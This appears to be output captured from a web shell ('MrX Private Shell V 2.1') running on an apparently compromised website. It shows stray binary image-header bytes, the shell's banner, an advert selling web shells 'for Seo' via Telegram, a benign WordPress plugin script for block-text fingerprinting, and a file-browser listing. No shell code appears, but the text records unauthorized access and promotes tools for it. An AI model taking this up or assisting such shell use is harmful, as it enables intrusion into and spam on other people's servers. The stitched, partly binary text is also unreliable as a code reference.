����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
// The clicked block's render-time identity, sent with every save so the server
// can refuse (409) when its parse-time block count resolves to a different
// block of the same type — synced patterns, nested navs, and dynamic expansion
// all desync the two counts past the type guard.
//
// Read from the LIVE element the user clicked, never the cached block source:
// that source is resolved by the same count as the save, so it would echo a
// misresolve and the check would pass on the wrong block.
// The client reads the block's text from the rendered DOM, where the_content
// has run wptexturize (straight quotes → curly, -- → dash, ... → ellipsis);
// the server fingerprints the raw stored markup. Fold those substitutions back
// to ASCII so an apostrophe alone ("Woody's" vs "Woody’s") can't false a 409.
// `\s` already covers non-breaking/unicode spaces in JS. Must stay in lockstep
// with BlockFingerprint::normalize on the PHP side.
export const normalizeText = (value) =>
String(value ?? '')
.replace(/[‘’‚‛]/g, "'")
.replace(/[“”„‟]/g, '"')
.replace(/[‒–—―]/g, '-')
.replace(/-{2,}/g, '-')
.replace(/…/g, '...')
.replace(/\s+/g, ' ')
.trim();
// The live→canvas swap-reveal poll compares the canvas editable's text against
// the live block's rendered text to know when the editor has caught up. The
// live text is wptexturize'd (curly) and the editable is raw (straight), so
// both sides must fold through normalizeText — a whitespace-only compare leaves
// a smart-quote block forever unequal, stranding the reveal on its frame-cap.
export const normalizedTextEquals = (a, b) =>
normalizeText(a) === normalizeText(b);
// Omitted (null) when the element has no visible text, so blocks like images
// fail open instead of 409-ing on an empty match.
export const textFingerprint = (el) => {
const text = normalizeText(el?.textContent);
return text ? { text } : null;
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin-bar.js | File | 1.45 KB | 0644 |
|
| agent-block-descriptor.js | File | 1.35 KB | 0644 |
|
| agent-gate.js | File | 768 B | 0644 |
|
| api.js | File | 2.56 KB | 0644 |
|
| ask-ai.js | File | 4.6 KB | 0644 |
|
| block-source-cache.js | File | 1.95 KB | 0644 |
|
| click-rule.js | File | 6.2 KB | 0644 |
|
| cmd-enter-save.js | File | 482 B | 0644 |
|
| dom.js | File | 10.98 KB | 0644 |
|
| errors.js | File | 681 B | 0644 |
|
| escape-rule.js | File | 1.51 KB | 0644 |
|
| fingerprint.js | File | 1.91 KB | 0644 |
|
| global-escape.js | File | 1.79 KB | 0644 |
|
| hover-bar.js | File | 27.75 KB | 0644 |
|
| keyboard-entry.js | File | 6.26 KB | 0644 |
|
| keyboard-undo.js | File | 2.39 KB | 0644 |
|
| link-suggestions.js | File | 790 B | 0644 |
|
| modal-root.js | File | 1.39 KB | 0644 |
|
| quick-edit-handlers.js | File | 1.02 KB | 0644 |
|
| rich-text-color.js | File | 8.11 KB | 0644 |
|
| save-bridge.js | File | 1.2 KB | 0644 |
|
| translated.js | File | 1.81 KB | 0644 |
|